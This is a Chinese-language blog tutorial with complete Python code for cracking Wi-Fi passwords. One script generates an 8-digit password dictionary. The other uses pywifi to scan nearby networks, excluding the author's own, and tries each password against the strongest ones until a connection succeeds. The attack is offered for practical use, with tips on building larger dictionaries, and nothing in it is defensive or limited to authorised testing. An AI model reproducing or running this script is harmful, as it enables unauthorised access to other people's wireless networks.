一、前言說明 本機運行環境:系統環境Win10,運行環境Python3.6,運行工具Pycharm 需要Python的包有:pywifi 這是一種暴力破解wifi的模式,需要的時間比較長,本文主要提供一個破解思路 二、思路介紹 先生成一個密碼字典(此步驟也可以從網上下載字典) 迴圈用密碼字典的每個密 ...
一、前言說明
本機運行環境:系統環境Win10,運行環境Python3.6,運行工具Pycharm
需要Python的包有:pywifi
這是一種暴力破解wifi的模式,需要的時間比較長,本文主要提供一個破解思路
二、思路介紹
先生成一個密碼字典(此步驟也可以從網上下載字典)
迴圈用密碼字典的每個密碼去嘗試連接Wifi,直到成功
三、源碼設計
1. 密碼字典TXT文件生成,本文提供的比較簡單,實用破解可以根據一般密碼設置,去生成比較大比較全的密碼字典
一般設置密碼規則,可以參照這個博客寫的內容:https://www.cnblogs.com/lifengfneg/p/5992649.html
以下提供簡單8位純數字的字典生成方案代碼GetWifiPsdDic.py
1 import itertools as its 2 3 4 if __name__ == '__main__': 5 words_num = "1234567890" 6 words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 7 r = its.product(words_num, repeat=8) 8 dic = open("password-8位數字.txt", "w") 9 for i in r: 10 dic.write("".join(i)) 11 dic.write("".join("\n")) 12 dic.close()
2. 暴力破解密碼,用時較長GetWifiPsd.py
1 import pywifi 2 3 from pywifi import const # 引用一些定義 4 5 import time 6 7 8 def getwifi(wifilist, wificount): 9 wifi = pywifi.PyWiFi() # 抓取網卡介面 10 ifaces = wifi.interfaces()[0] # 獲取網卡 11 ifaces.scan() 12 time.sleep(8) 13 bessis = ifaces.scan_results() 14 allwifilist = [] 15 namelist = [] 16 ssidlist = [] 17 for data in bessis: 18 if data.ssid not in namelist: # 去掉重覆的WIFI名稱 19 namelist.append(data.ssid) 20 allwifilist.append((data.ssid, data.signal)) 21 sorted(allwifilist, key=lambda st: st[1], reverse=True) 22 time.sleep(1) 23 n = 0 24 if len(allwifilist) is not 0: 25 for item in allwifilist: 26 if (item[0] not in ssidlist) & (item[0] not in wifilist): 27 n = n + 1 28 if n <= wificount: 29 ssidlist.append(item[0]) 30 print(allwifilist) 31 return ssidlist 32 33 34 def getifaces(): 35 wifi = pywifi.PyWiFi() # 抓取網卡介面 36 ifaces = wifi.interfaces()[0] # 獲取網卡 37 ifaces.disconnect() # 斷開無限網卡連接 38 return ifaces 39 40 41 def testwifi(ifaces, ssidname, password): 42 profile = pywifi.Profile() # 創建wifi連接文件 43 profile.ssid = ssidname # 定義wifissid 44 profile.auth = const.AUTH_ALG_OPEN # 網卡的開放 45 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密演算法 46 profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元 47 profile.key = password # wifi密碼 48 ifaces.remove_all_network_profiles() # 刪除其他所有配置文件 49 tmp_profile = ifaces.add_network_profile(profile) # 載入配置文件 50 ifaces.connect(tmp_profile) # 連接wifi 51 time.sleep(5) # 5秒內能否連接上 52 if ifaces.status() == const.IFACE_CONNECTED: 53 return True 54 else: 55 return False 56 57 58 def beginwork(wifinamelist): 59 ifaces = getifaces() 60 path = r"password-8位數字.txt" 61 # path = r"password-常用密碼.txt" 62 files = open(path, 'r') 63 while True: 64 try: 65 password = files.readline() 66 password = password.strip('\n') 67 if not password: 68 break 69 for wifiname in wifinamelist: 70 print("正在嘗試:" + wifiname + "," + password) 71 if testwifi(ifaces, wifiname, password): 72 print("Wifi賬號:" + wifiname + ",Wifi密碼:" + password) 73 wifinamelist.remove(wifiname) 74 break 75 if not wifinamelist: 76 break 77 except: 78 continue 79 files.close() 80 81 82 if __name__ == '__main__': 83 wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字 84 wifinames = getwifi(wifinames_e, 5) 85 print(wifinames) 86 beginwork(wifinames)
四、最後小結
上文生成字典有很多冗餘密碼成分,會大大加長破解時間,實用時可以更改密碼生成方式